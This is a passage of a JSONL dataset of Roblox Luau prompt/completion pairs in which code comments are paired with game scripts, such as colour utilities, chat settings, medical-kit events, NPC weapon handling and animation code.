\u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0430\u0435\u0442\u0441\u044f\n\t-- if string.lower(hit.Name)==\"cannon\" or string.lower(hit.Name)==\"sphera\" then return end"} +{"prompt": "--[=[\n\t@function Emphasise\n\t@within ColourUtils\n\n\t:::tip\n\n\tEmphasise is also available under the `Emphasize` alias.\n\n\t:::\n\n\t@param colour Color3 -- The colour to emphasise.\n\t@param coefficient number -- The amount to emphasise by [0-1].\n\t@param threshold? number -- The threshold for light/dark [0-1] (defaults to 0.5).\n\t@return Color3 -- The emphasised colour.\n]=]", "completion": "\nreturn function(colour: Color3, coefficient: number, threshold: number?): Color3\n\tthreshold = type(threshold) == \"number\" and threshold or 0.5\n\treturn GetLuminance(colour) > threshold and Darken(colour, coefficient) or Lighten(colour, coefficient)\nend\n"} +{"prompt": "--This script handles the expanding and retracting of the piston, the\n--arm, sounds, and stuck bricks. The piston head uses a BodyPosition\n--and a BodyGyro to orient itself. The piston arm is an anchored brick\n--inside the body of the piston which has a CylinderMesh in it, whose\n--Scale/Offset properties change based on how far the head is away from\n--the piston.", "completion": "\n"} +{"prompt": "--===============--\n--// Techyfied \\\\--\n-- This script was automatically created by Bubble Chat Customizer Plugin --\n-- This script customized bubble chat depending on the settings you have created on the plugin --\n--===============--", "completion": "\n\n\nlocal settings = {\n\tBubbleDuration = script.Info.BubbleDuration.Value,\n\tMaxBubbles = script.Info.MaxBubbles.Value,\n\tBackgroundColor3 = script.Info.BackgroundColor3.Value,\n\tTextColor3 = script.Info.TextColor3.Value,\n\tTextSize = script.Info.TextSize.Value,\n\tFont = Enum.Font[script.Info.Font.Value],\n\tTransparency = script.Info.Transparency.Value,\n\tCornerRadius = UDim.new(0, script.Info.CornerRadius.Value),\n\tTailVisible = script.Info.TailVisible.Value,\n\tPadding = script.Info.Padding.Value,\n\tMaxWidth = script.Info.MaxWidth.Value,\n\tVerticalStudsOffset = script.Info.VerticalStudsOffset.Value,\n\tBubblesSpacing = script.Info.BubblesSpacing.Value,\n\tMinimizeDistance = script.Info.MinimizeDistance.Value,\n\tMaxDistance = script.Info.MaxDistance.Value,\n}\n\npcall(function()\n\tgame:GetService(\"Chat\"):SetBubbleChatSettings(settings)\nend)\n"} +{"prompt": "-- message recieved, delete StringValue", "completion": "\nanimStringValueObject.Parent = nil\ntoolAnimTime = time + .3\nend\nif time > toolAnimTime then\ntoolAnimTime = 0\ntoolAnim = \"None\"\nend\nanimateTool()\nelse\nstopToolAnimations()\ntoolAnim = \"None\"\ntoolAnimInstance = nil\ntoolAnimTime = 0\nend\nend"} +{"prompt": "-- Dependencies", "completion": "\nlocal Util = require(ReplicatedStorage.Libraries.Util)\n\nlocal localPlayer = Players.LocalPlayer\nlocal playerGui = localPlayer.PlayerGui\nlocal _playerIsBot = Util.isPlayerBot(localPlayer)\nlocal Roact = require(ReplicatedStorage.Packages.Roact)\n\nlocal RECS = require(ReplicatedStorage.Libraries.RECS)\nlocal Steppers = require(ReplicatedStorage.Steppers)\nlocal App = require(ReplicatedStorage.RoactComponents.App)\n"} +{"prompt": "------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------", "completion": "\n\n\nCompress_Multi.OnServerEvent:Connect(function(player)\n\n\tlocal Human = player.Character.Humanoid\n\tlocal enabled = Human.Parent.Saude.Variaveis.Doer\n\tlocal MLs = Human.Parent.Saude.Variaveis.MLs\n\tlocal Caido = Human.Parent.Saude.Stances.Caido\n\n\tlocal target = Human.Parent.Saude.Variaveis.PlayerSelecionado\n\t\n\tif Caido.Value == false and target.Value ~= \"N/A\" then\n\n\t\tlocal player2 = game.Players:FindFirstChild(target.Value)\n\t\tlocal PlHuman = player2.Character.Humanoid\n\t\n\n\t\tlocal Sangrando = PlHuman.Parent.Saude.Stances.Sangrando\n\t\tlocal MLs = PlHuman.Parent.Saude.Variaveis.MLs\n\t\tlocal Dor = PlHuman.Parent.Saude.Variaveis.Dor\n\t\t\n\t\tif enabled.Value == false then\n\t\n\t\tif MLs.Value > 1 then \n\t\tenabled.Value = true\n\t\t\n\t\twait(.3)\t\t\n\t\t\n\t\tMLs.Value = MLs.Value - math.random(50,75)\n\t\t\n\t\twait(5)\n\t\tenabled.Value = false\n\t\tend\t\n\n\t\tend\t\n\tend\nend)\n\nBandage_Multi.OnServerEvent:Connect(function(player)\n\n\tlocal Human = player.Character.Humanoid\n\tlocal enabled = Human.Parent.Saude.Variaveis.Doer\n\tlocal MLs = Human.Parent.Saude.Variaveis.MLs\n\tlocal Caido = Human.Parent.Saude.Stances.Caido\n\tlocal Item = Human.Parent.Saude.Kit.Bandagem\n\n\tlocal target = Human.Parent.Saude.Variaveis.PlayerSelecionado\n\t\n\tif Caido.Value == false and target.Value ~= \"N/A\" then\n\n\t\tlocal player2 = game.Players:FindFirstChild(target.Value)\n\t\tlocal PlHuman = player2.Character.Humanoid\n\t\n\n\t\tlocal Sangrando = PlHuman.Parent.Saude.Stances.Sangrando\n\t\tlocal MLs = PlHuman.Parent.Saude.Variaveis.MLs\n\t\tlocal Dor = PlHuman.Parent.Saude.Variaveis.Dor\n\t\tlocal Ferido = PlHuman.Parent.Saude.Stances.Ferido\n\t\t\n\t\tif enabled.Value == false then\n\t\n\t\tif Item.Value >= 1 and Sangrando.Value == true then \n\t\tenabled.Value = true\n\t\t\n\t\twait(.3)\t\t\n\t\t\n\t\tSangrando.Value = false\t\n\t\tItem.Value = Item.Value - 1 \n\t\t\n\t\t\n\t\twait(2)\n\t\tenabled.Value = false\n\t\tend\t\n\n\t\tend\t\n\tend\nend)\n\nSplint_Multi.OnServerEvent:Connect(function(player)\n\n\tlocal Human = player.Character.Humanoid\n\tlocal enabled = Human.Parent.Saude.Variaveis.Doer\n\tlocal MLs = Human.Parent.Saude.Variaveis.MLs\n\tlocal Caido = Human.Parent.Saude.Stances.Caido\n\tlocal Item = Human.Parent.Saude.Kit.Splint\n\n\tlocal target = Human.Parent.Saude.Variaveis.PlayerSelecionado\n\t\n\tif Caido.Value == false and target.Value ~= \"N/A\" then\n\n\t\tlocal player2 = game.Players:FindFirstChild(target.Value)\n\t\tlocal PlHuman = player2.Character.Humanoid\n\t\n\n\t\tlocal Sangrando = PlHuman.Parent.Saude.Stances.Sangrando\n\t\tlocal MLs = PlHuman.Parent.Saude.Variaveis.MLs\n\t\tlocal Dor = PlHuman.Parent.Saude.Variaveis.Dor\n\t\tlocal Ferido = PlHuman.Parent.Saude.Stances.Ferido\n\t\t\n\t\tif enabled.Value == false then\n\t\n\t\tif Item.Value >= 1 and Ferido.Value == true then \n\t\tenabled.Value = true\n\t\t\n\t\twait(.3)\t\t\n\t\t\n\t\tFerido.Value = false\t\t\n\n\t\tItem.Value = Item.Value - 1 \n\t\t\n\t\t\n\t\twait(2)\n\t\tenabled.Value = false\n\t\tend\t\n\n\t\tend\t\n\tend\nend)\n\nTourniquet_Multi.OnServerEvent:Connect(function(player)\n\n\tlocal Human = player.Character.Humanoid\n\tlocal enabled = Human.Parent.Saude.Variaveis.Doer\n\tlocal MLs = Human.Parent.Saude.Variaveis.MLs\n\tlocal Caido = Human.Parent.Saude.Stances.Caido\n\tlocal Item = Human.Parent.Saude.Kit.Tourniquet\n\n\tlocal target = Human.Parent.Saude.Variaveis.PlayerSelecionado\n\t\n\tif Caido.Value == false and target.Value ~= \"N/A\" then\n\n\t\tlocal player2 = game.Players:FindFirstChild(target.Value)\n\t\tlocal PlHuman = player2.Character.Humanoid\n\t\n\n\t\tlocal Sangrando = PlHuman.Parent.Saude.Stances.Sangrando\n\t\tlocal MLs = PlHuman.Parent.Saude.Variaveis.MLs\n\t\tlocal Dor = PlHuman.Parent.Saude.Variaveis.Dor\n\t\tlocal Ferido = PlHuman.Parent.Saude.Stances.Ferido\n\t\t\n\n\tif PlHuman.Parent.Saude.Stances.Tourniquet.Value == false then\n\n\t\tif enabled.Value == false then\n\t\tif Item.Value > 0 and Sangrando.Value == true then \n\t\tenabled.Value = true\n\t\t\n\t\twait(.3)\t\t\n\t\t\n\t\tPlHuman.Parent.Saude.Stances.Tourniquet.Value = true\t\t\n\n\t\tItem.Value = Item.Value - 1 \n\t\t\n\t\t\n\t\twait(2)\n\t\tenabled.Value = false\n\t\tend\n\t\tend\t\n\telse\n\t\tif enabled.Value == false then\n\t\tif PlHuman.Parent.Saude.Stances.Tourniquet.Value == true then \n\t\tenabled.Value = true\n\t\t\n\t\twait(.3)\t\t\n\t\t\n\t\tPlHuman.Parent.Saude.Stances.Tourniquet.Value = false\t\t\n\n\t\tItem.Value = Item.Value + 1 \n\t\t\n\t\t\n\t\twait(2)\n\t\tenabled.Value = false\n\t\tend\n\t\tend\t\n\tend\n\tend\nend)\n\nEpinephrine_Multi.OnServerEvent:Connect(function(player)\n\n\tlocal Human = player.Character.Humanoid\n\tlocal enabled = Human.Parent.Saude.Variaveis.Doer\n\tlocal MLs = Human.Parent.Saude.Variaveis.MLs\n\tlocal Caido = Human.Parent.Saude.Stances.Caido\n\tlocal Item = Human.Parent.Saude.Kit.Epinefrina\n\n\tlocal target = Human.Parent.Saude.Variaveis.PlayerSelecionado\n\t\n\tif Caido.Value == false and target.Value ~= \"N/A\" then\n\n\t\tlocal player2 = game.Players:FindFirstChild(target.Value)\n\t\tlocal PlHuman = player2.Character.Humanoid\n\t\n\n\t\tlocal Sangrando = PlHuman.Parent.Saude.Stances.Sangrando\n\t\tlocal MLs = PlHuman.Parent.Saude.Variaveis.MLs\n\t\tlocal Dor = PlHuman.Parent.Saude.Variaveis.Dor\n\t\tlocal Ferido = PlHuman.Parent.Saude.Stances.Ferido\n\t\tlocal PlCaido = PlHuman.Parent.Saude.Stances.Caido\n\t\t\n\t\tif enabled.Value == false then\n\t\n\t\tif Item.Value >= 1 and PlCaido.Value == true then \n\t\tenabled.Value = true\n\t\t\n\t\t\n\t\twait(.3)\t\t\n\t\t\n\t\tif Dor.Value > 0 then\n\t\tDor.Value = Dor.Value + math.random(10,20)\n\t\tend\n\t\t\n\t\tif Sangrando.Value == true then\n\t\tMLs.Value = MLs.Value + math.random(10,35)\n\t\tend\n\t\t\n\t\tPlCaido.Value = false\t\t\n\n\t\tItem.Value = Item.Value - 1 \n\t\t\n\t\t\n\t\twait(2)\n\t\tenabled.Value = false\n\t\tend\t\n\n\t\tend\t\n\tend\nend)\n\n\nMorphine_Multi.OnServerEvent:Connect(function(player)\n\n\tlocal Human = player.Character.Humanoid\n\tlocal enabled = Human.Parent.Saude.Variaveis.Doer\n\tlocal MLs = Human.Parent.Saude.Variaveis.MLs\n\tlocal Caido = Human.Parent.Saude.Stances.Caido\n\tlocal Item = Human.Parent.Saude.Kit.Morfina\n\n\tlocal target = Human.Parent.Saude.Variaveis.PlayerSelecionado\n\t\n\tif Caido.Value == false and target.Value ~= \"N/A\" then\n\n\t\tlocal player2 = game.Players:FindFirstChild(target.Value)\n\t\tlocal PlHuman = player2.Character.Humanoid\n\t\n\n\t\tlocal Sangrando = PlHuman.Parent.Saude.Stances.Sangrando\n\t\tlocal MLs = PlHuman.Parent.Saude.Variaveis.MLs\n\t\tlocal Dor = PlHuman.Parent.Saude.Variaveis.Dor\n\t\tlocal Ferido = PlHuman.Parent.Saude.Stances.Ferido\n\t\tlocal PlCaido = PlHuman.Parent.Saude.Stances.Caido\n\t\t\n\t\tif enabled.Value == false then\n\t\n\t\tif Item.Value >= 1 and Dor.Value >= 1 then \n\t\tenabled.Value = true\n\t\t\n\t\twait(.3)\t\t\n\t\t\n\t\tDor.Value = Dor.Value - math.random(100,150)\n\n\t\tItem.Value = Item.Value - 1 \n\t\t\n\t\t\n\t\twait(2)\n\t\tenabled.Value = false\n\t\tend\t\n\n\t\tend\t\n\tend\nend)\n\n\nBloodBag_Multi.OnServerEvent:Connect(function(player)\n\n\tlocal Human = player.Character.Humanoid\n\tlocal enabled = Human.Parent.Saude.Variaveis.Doer\n\tlocal MLs = Human.Parent.Saude.Variaveis.MLs\n\tlocal Caido = Human.Parent.Saude.Stances.Caido\n\tlocal Item = Human.Parent.Saude.Kit.SacoDeSangue\n\n\tlocal target = Human.Parent.Saude.Variaveis.PlayerSelecionado\n\t\n\tif Caido.Value == false and target.Value ~= \"N/A\" then\n\n\t\tlocal player2 = game.Players:FindFirstChild(target.Value)\n\t\tlocal PlHuman = player2.Character.Humanoid\n\t\n\n\t\tlocal Sangrando = PlHuman.Parent.Saude.Stances.Sangrando\n\t\tlocal MLs = PlHuman.Parent.Saude.Variaveis.MLs\n\t\tlocal Dor = PlHuman.Parent.Saude.Variaveis.Dor\n\t\tlocal Ferido = PlHuman.Parent.Saude.Stances.Ferido\n\t\tlocal PlCaido = PlHuman.Parent.Saude.Stances.Caido\n\t\tlocal Sang = PlHuman.Parent.Saude.Variaveis.Sangue\n\t\t\n\t\tif enabled.Value == false then\n\t\n\t\tif Item.Value >= 1 and Sangrando.Value == false and Sang.Value < 7000 then \n\t\tenabled.Value = true\n\t\t\n\t\twait(.3)\t\t\n\t\t\n\t\tSang.Value = Sang.MaxValue\n\n\t\tItem.Value = Item.Value - 1 \n\t\t\n\t\t\n\t\twait(2)\n\t\tenabled.Value = false\n\t\tend\t\n\n\t\tend\t\n\tend\nend)\n\n"} +{"prompt": "--- Shows Cmdr window", "completion": "\nfunction Cmdr:Show ()\n\tif not self.Enabled then\n\t\treturn\n\tend\n\n\tInterface.Window:Show()\nend\n"} +{"prompt": "--please?", "completion": "\nscript.Parent.Equipped:connect(on)\nscript.Parent.Unequipped:connect(off)\n"} +{"prompt": "--Align Orientations", "completion": "\nlocal bodyRotate = myRoot.AlignOrientation\n\nlocal xAxisAttach = Instance.new(\"Attachment\")\nxAxisAttach.Parent = workspace.Terrain\nxAxisAttach.CFrame = myRoot.CFrame\n\nlocal yAxisAttach = Instance.new(\"Attachment\")\nyAxisAttach.Parent = workspace.Terrain\nyAxisAttach.CFrame = myRoot.CFrame\n\nbodyRotate.Attachment1 = yAxisAttach\n\n\nlocal m4Hinge = m4.HingeConstraint\nlocal m4HingeAttach = m4.HingeAttach1\nlocal torsoHingeAttach = myTorso.HingeAttach0\nlocal torsoHingAttachOrgPos = torsoHingeAttach.Position\nlocal headHinge = myHead.HingeConstraint\n\nlocal reloadAnimation = myHuman:LoadAnimation(marine.Reload)\nreloadAnimation.Priority = Enum.AnimationPriority.Action\n\nfunction actions.aim()\n\t\n\tlocal aimPos = Vector3.new()\n\tlocal sightIndex = 50\n\t\n\tstatus:set(\"weaponAimed\",true)\n\tmyHuman.AutoRotate = false\n\tbodyRotate.Enabled = true\n\tmyHuman.WalkSpeed = 12\n\t\n\twhile true do\n\t\t\n\t\tlocal target = status:get(\"currentTarget\")\n\n\t\tif myHuman.Health <=0 or not target or not target.Parent then\n\t\t\tbreak\n\t\telseif not status:get(\"m4Equipped\") and not status:get(\"reloading\") then\n\t\t\tbreak\n\t\tend\n\n\t\tlocal target = status:get(\"currentTarget\")\n\t\tlocal dist = core.checkDist(target,myTorso)\n\t\tlocal canSee = core.checkSight(target)\n\t\t\n\t\tif not canSee then\n\t\t\tsightIndex = sightIndex - 1\n\t\telse\n\t\t\tsightIndex = 50\n\t\tend\n\t\t\n\t\tif not canSee and myRoot.Velocity.Magnitude > 3 and sightIndex <= 0 then\n\t\t\t\n\t\t\tlocal walkPoint = myHuman.WalkToPoint\n\t\t\tlocal myPos = myRoot.Position\n\t\t\tlocal dir = (Vector3.new(walkPoint.X,0,walkPoint.Z) - Vector3.new(myPos.X,0,myPos.Z)).Unit * 20\n\t\t\taimPos = myRoot.Position + Vector3.new(0,1.5,0) + dir\n\t\telse\n\t\t\taimPos = target.Position + target.Velocity/(10 - dist/50)\n\t\tend\n\t\t\n\t\tlocal tilt = (myRoot.Position.Y - aimPos.Y) / (dist*0.04)\n\t\ttilt = math.clamp(tilt,-45,45)\n\t\trootJoint.C0 = rootJointOrg * CFrame.fromEulerAnglesYXZ(math.rad(tilt),0,0)\n\t\tlHip.C0 = lHipOrg * CFrame.fromEulerAnglesYXZ(0,0,math.rad(-tilt))\n\t\trHip.C0 = rHipOrg * CFrame.fromEulerAnglesYXZ(0,0,math.rad(tilt))\n\t\t\n\t\txAxisAttach.WorldCFrame = CFrame.lookAt(m4.Position,aimPos)\n\t\tm4.HingeConstraint.Attachment0.WorldCFrame = CFrame.new(m4.HingeConstraint.Attachment0.WorldPosition) * CFrame.fromEulerAnglesYXZ(math.rad(0),math.rad(myRoot.Orientation.Y),0)\n\t\tm4.HingeConstraint.TargetAngle = xAxisAttach.Orientation.X\n\t\theadHinge.TargetAngle = xAxisAttach.Orientation.X\n\t\t\n\t\ttorsoHingeAttach.Position = torsoHingAttachOrgPos + Vector3.new(0,tilt/90,0)\n\n\t\tyAxisAttach.WorldCFrame = CFrame.lookAt(m4.Position,Vector3.new(\n\t\t\taimPos.X,\n\t\t\tmyRoot.Position.Y,\n\t\t\taimPos.Z\n\t\t\t))\n\n\t\tif status:get(\"m4Equipped\") then\n\t\t\tneck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-1.5 + math.rad(xAxisAttach.Orientation.X),math.rad(15),math.rad(180))\n\t\telse\n\t\t\tneck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-1.5 + math.rad(xAxisAttach.Orientation.X),0,math.rad(180))\n\t\tend\n\n\t\trunService.Heartbeat:Wait()\n\t\trunService.Heartbeat:Wait()\n\tend\n\t\n\t\n\tactions.resetHead()\n\tbodyRotate.Enabled = false\n\tmyHuman.WalkSpeed = 16\n\tmyHuman.AutoRotate = true\n\t\n\trootJoint.C0 = rootJointOrg\n\tlHip.C0 = lHipOrg\n\trHip.C0 = rHipOrg\n\t\n\tstatus:set(\"weaponAimed\",false)\nend\n\nfunction actions.reload()\n\tstatus:set(\"weaponAimed\",false)\n\treloadSound:Play()\n\tstatus:set(\"reloading\",true)\n\t\n\tactions.yieldM4()\n\tscript.Parent.Parent.Parent[\"Right Arm\"].Gun.Transparency = 0\n\n\tm4Weld.Part0 = nil\n\tm4.CFrame = lArm.CFrame * CFrame.new(0.5,-0.2,0) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0))\n\tm4Weld.Part0 = lArm\n\t\n\treloadAnimation:Play()\n\treloadAnimation:AdjustSpeed(3)\n\t\n\twait(0.2)\n\t\n\tlocal fakeMag = magazine:Clone()\n\tfakeMag.CanCollide = true\n\tfakeMag.Transparency = 0\n\tfakeMag.Parent = workspace\n\tdebrisService:AddItem(fakeMag,4)\n\tmagazine.Transparency = 1\n\t\n\treloadAnimation.Stopped:Wait()\n\n\tmagazine.Transparency = 1\n\tstatus:set(\"reloading\",false)\n\tstatus:set(\"mag\",marine.Settings.MagSize.Value)\n\tactions.drawM4()\nend\n\nfunction actions.drawM4()\n\tif not status:get(\"m4Equipped\") and not status:get(\"reloading\") then\n\t\tstatus:set(\"m4Equipped\",true)\n\t\tstatus:set(\"m4Lowered\",false)\n\t\tscript.Parent.Parent.Parent[\"Right Arm\"].Gun.Transparency = 0\n\t\tm4.Equip:Play()\n\t\t\n\t\txAxisAttach.CFrame = myTorso.CFrame\n\t\t\n\t\t--M4 Setup\n\t\tm4Weld.Part0 = nil\n\t\tm4.CFrame = myRoot.CFrame * CFrame.new(0.65,-1.6,0) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0))\n\t\tm4HingeAttach.WorldPosition = torsoHingeAttach.WorldPosition\t\t\n\t\tm4Hinge.Enabled = true\n\t\t\n\t\t--Right Arm Setup\n\t\trShoulder.Part1 = nil\n\t\trArmWeld.Part1 = nil --x 1.25\n\t\trArmWeld.Enabled = false\n\t\trArm.CFrame = m4.CFrame * CFrame.new(0.7,-0.4,1.5) * CFrame.Angles(math.rad(80),math.rad(0),math.rad(-10))\n\t\trArmWeld.Part1 = rArm\n\t\trArmWeld.Enabled = true\n\t\t\n\t\t--Left Arm Setup \n\t\tlShoulder.Part1 = nil\n\t\tlArmWeld.Part1 = nil\n\t\tlArm.CFrame = m4.CFrame * CFrame.new(-1,-0.3,0.8) * CFrame.Angles(math.rad(90),math.rad(-3),math.rad(28)) --x84\n\t\tlArmWeld.Part1 = lArm\n\t\t\n\t\twait(0.5)\n\tend\nend\n\n\n\nfunction actions.yieldM4()\n\tif status:get(\"m4Equipped\") or status:get(\"m4Lowered\") then\n\n\t\tstatus:set(\"m4Equipped\",false)\n\t\tstatus:set(\"weaponAimed\",false)\n\t\tstatus:set(\"m4Lowered\",false)\n\t\tscript.Parent.Parent.Parent[\"Right Arm\"].Gun.Transparency = 1\n\t\tm4.Equip:Play()\n\t\t\n\t\t--Right Arm setup\n\t\trArmWeld.Part1 = nil\n\t\trShoulder.Part1 = rArm\n\t\t\n\t\t--Left Arm Setup\n\t\tlArmWeld.Part1 = nil\n\t\tlShoulder.Part1 = lArm\n\t\t\n\t\t--M4 Setup\n\t\tm4Weld.Part0 = nil\n\t\tm4Hinge.Enabled = false\n\t\tm4.CFrame = myTorso.CFrame * CFrame.new(0,0,0.5) * CFrame.Angles(math.rad(-90),math.rad(45),math.rad(-270))\n\t\tm4Weld.Part0 = myTorso\n\tend\nend\n\nfunction actions.lowerM4()\n\tif not status:get(\"m4Lowered\") and status:get(\"m4Equipped\") and not status:get(\"reloading\") then\n\t\t\n\t\tstatus:set(\"m4Equipped\",false)\n\t\tstatus:set(\"m4Lowered\",true)\n\t\t\n\t\tm4.Equip:Play()\n\t\t\n\t\t--M4 Setup\n\t\tm4Weld.Part0 = nil\n\t\tm4.CFrame = myRoot.CFrame * CFrame.new(0.65,-1.6,0) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0))\n\t\tm4HingeAttach.WorldPosition = torsoHingeAttach.WorldPosition\t\t\n\t\tm4Hinge.Enabled = true\n\t\t\n\t\t--Right Arm Setup\n\t\trShoulder.Part1 = nil\n\t\trArmWeld.Part1 = nil --x 1.25\n\t\trArmWeld.Enabled = false\n\t\trArm.CFrame = m4.CFrame * CFrame.new(0.7,-0.4,1.5) * CFrame.Angles(math.rad(80),math.rad(0),math.rad(-10))\n\t\trArmWeld.Part1 = rArm\n\t\trArmWeld.Enabled = true\n\t\t\n\t\t--Left Arm Setup \n\t\tlShoulder.Part1 = nil\n\t\tlArmWeld.Part1 = nil\n\t\tlArm.CFrame = m4.CFrame * CFrame.new(-1,-0.3,0.8) * CFrame.Angles(math.rad(90),math.rad(-3),math.rad(28)) --x84\n\t\tlArmWeld.Part1 = lArm\n\t\t\n\t\twait(0.5)\n\tend\nend\n\n\n\nfunction actions.yieldWeapons()\n\tactions.yieldM4()\nend\n\nfunction actions.resetHead()\n\ttweenService:Create(neck,TweenInfo.new(0.5),{C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(-90),0,math.rad(180))}):Play()\nend\n\nlocal faces = myHead.Faces\nfunction actions.updateFace(newStatus,recovered)\n\tif status:get(\"mood\") ~= \"Dead\" then\n\t\tif status:get(\"mood\") ~= \"Hurt\" or recovered or newStatus == \"Dead\" then\n\t\t\tlocal currentFace = status:get(\"currentFace\")\n\t\t\tcurrentFace.Parent = faces \n\t\t\tstatus:set(\"currentFace\",faces[\"face\"..newStatus])\n\t\t\tstatus:get(\"currentFace\").Parent = myHead\n\t\tend\n\t\tstatus:set(\"mood\",newStatus)\n\tend\nend\n\n\nreturn actions\n"} +{"prompt": "--[ Events ]--", "completion": "\nDetector.MouseEnter:Connect(function()\n\tN:TweenPosition(UDim2.new(-0.775, 0, 0, 0), \"Out\", \"Quad\", .25)\nend)\nDetector.MouseLeave:Connect(function()\n\tN:TweenPosition(UDim2.new(0, 0, 0, 0), \"Out\", \"Quad\", .25)\nend)\nDetector.MouseMoved:Connect(function()\n\tif N.Position == UDim2.new(0,0,0,0) then\n\t\tN:TweenPosition(UDim2.new(-0.775, 0, 0, 0), \"Out\", \"Quad\", .25)\n\telse\n\t\tN:TweenPosition(UDim2.new(0, 0, 0, 0), \"Out\", \"Quad\", .25)\n\tend\nend)\nwhile true do\n\tspawn(UpdateHealth)\n\twait()\nend\n"} +{"prompt": "--\t\t\t\t{ id = \"slash.xml\", weight = 10 } ", "completion": "\n\t\t\t},\n\ttoollunge = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=129967478\", weight = 10 } \n\t\t\t},\n}\n\nmath.randomseed(tick())\n\nfunction configureAnimationSet(name, fileList)\n\tif (animTable[name] ~= nil) then\n\t\tfor _, connection in pairs(animTable[name].connections) do\n\t\t\tconnection:disconnect()\n\t\tend\n\tend\n\tanimTable[name] = {}\n\tanimTable[name].count = 0\n\tanimTable[name].totalWeight = 0\t\n\tanimTable[name].connections = {}\n\n\t-- check for config values\n\tlocal config = script:FindFirstChild(name)\n\tif (config ~= nil) then"} +{"prompt": "-- called to check for dead connections and run their cleanup tasks", "completion": "\nlocal function runCleanupTasks()\n\tif numTasks == 0 then\n\t\treturn\n\tend\n\n\t-- we want to clean as much stuff up as possible, but we don't want to hang\n\t-- the client, so we forcibly terminate after a short while\n\tlocal startTime = os.clock()\n\tlocal endTime = startTime + 1/1000\n\n\t-- run at most `numTask` times\n\tfor _=1, numTasks do\n\t\tlocal taskData = tasks[currentIndex]\n\n\t\tif taskData.connection.Connected then\n\t\t\t-- instance is still alive, so move on to the next task\n\t\t\tcurrentIndex += 1\n\t\telse\n\t\t\t-- instance destroyed, so run cleanup and remove the task\n\t\t\ttaskData.cleaned = true\n\t\t\t-- print(\"cleaning up\", taskData.debugName)\n\t\t\tcleanup(taskData.task)\n\n\t\t\ttable.remove(tasks, currentIndex)\n\t\t\tnumTasks -= 1\n\t\tend\n\n\t\t-- wrap around if we passed the end of the task list\n\t\tif currentIndex > numTasks then\n\t\t\tcurrentIndex = 1\n\t\tend\n\n\t\t-- if this took too long, exit early to avoid hanging\n\t\tif os.clock() > endTime then\n\t\t\tbreak\n\t\tend\n\tend\nend\n\nRunService.Heartbeat:Connect(runCleanupTasks)\n\nlocal function cleanupOnDestroy(instance: Instance, task: cleanup.Task): (() -> ())\n\t-- set up connection so we can check if the instance is alive\n\t-- we don't care about the event we're connecting to, just that we can see\n\t-- when it's disconnected by the garbage collector\n\tlocal connection = instance:GetPropertyChangedSignal(\"ClassName\"):Connect(noOp)\n\n\t-- store data about the task for later\n\tlocal taskData = {\n\t\tdebugName = instance.Name,\n\t\tconnection = connection,\n\t\ttask = task,\n\t\tcleaned = false\n\t}\n\n\t-- remove instance reference so we don't accidentally inhibit gc\n\tinstance = nil\n\n\t-- add task to list\n\tnumTasks += 1\n\ttasks[numTasks] = taskData\n\n\t-- return disconnect function to stop listening for destroy\n\treturn function()\n\t\tif taskData.cleaned then\n\t\t\treturn\n\t\tend\n\n\t\ttaskData.cleaned = true\n\t\tconnection:Disconnect()\n\n\t\tlocal index = table.find(tasks, taskData)\n\t\tif index ~= nil then\n\t\t\ttable.remove(tasks, index)\n\t\t\tnumTasks -= 1\n\t\tend\n\tend\nend\n\nreturn cleanupOnDestroy\n"} +{"prompt": "--\tprint(animName .. \" \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\n\t\n\tlocal anim = animTable[animName][idx].anim\n\n\t-- switch animation\t\t\n\tif (anim ~= currentAnimInstance) then\n\t\t\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\t\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\tcurrentAnimTrack = humanoid:LoadAnimation(anim)\n\t\t \n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\t\tcurrentAnimInstance = anim\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:Connect(keyFrameReachedFunc)\n\t\t\n\tend\n\nend\n"} +{"prompt": "--[[\n\nThis is a script that makes an anchored brick rotate!\nJust resize the brick to your desired size!\nThis script was made by ProjectTwo\nFree for anyone to use!\n]]", "completion": "\nwhile true do \nwait() \nscript.Parent.CFrame = script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(0, math.pi/-100, 0)\nend\n"} +{"prompt": "-- This store is used both on client and server. The server version is a subset of the client one, containing only\n-- merch data defined by the dev (while the client store may also contain data related to the UI's state). The server\n-- store is automatically synchronized with the client stores.", "completion": "\nlocal serverStore = Rodux.Store.new(serverReducer, nil, { Rodux.thunkMiddleware })\n\nreturn serverStore\n"} +{"prompt": "-- When the weapon is deactivated", "completion": "\nfunction weaponTemplate:OnDeactivate()\n\t\nend\n\nfunction weaponTemplate:OnStartFiring()\n\tif not self.spoolTimer:IsRunning() and not self.isFiring and self.isClient then\n\t\tself.isFiring = true\n\tend\n\t\n\tif not self.spoolTimer:IsRunning() and not self.isFiring and not self.isClient then\n\t\t\n\t\tself.gun.Barrel.Begin.TimePosition = 0\n\t\tself.gun.Barrel.Begin:Play()\n\t\t\n\t\tspawn(function() \n\t\t\tfor i = 1, 20 do\n\t\t\t\tself.gun.Barrel.HingeConstraint.AngularVelocity = i\n\t\t\t\twait(0.043)\n\t\t\tend\n\t\tend)\n\t\t\t\n\t\tself.spoolTimer:Start()\n\tend\nend\n\nfunction weaponTemplate:OnStopFiring()\n\t\n\t-- Is Client\n\tif self.spoolTimer:IsRunning() and self.isFiring and self.isClient then\n\t\tself.isFiring = false\n\tend\n\t\n\t-- Is Server\n\tif self.spoolTimer:IsRunning() and self.isFiring and not self.isClient then\n\t\tself.gun.Barrel.End.TimePosition = 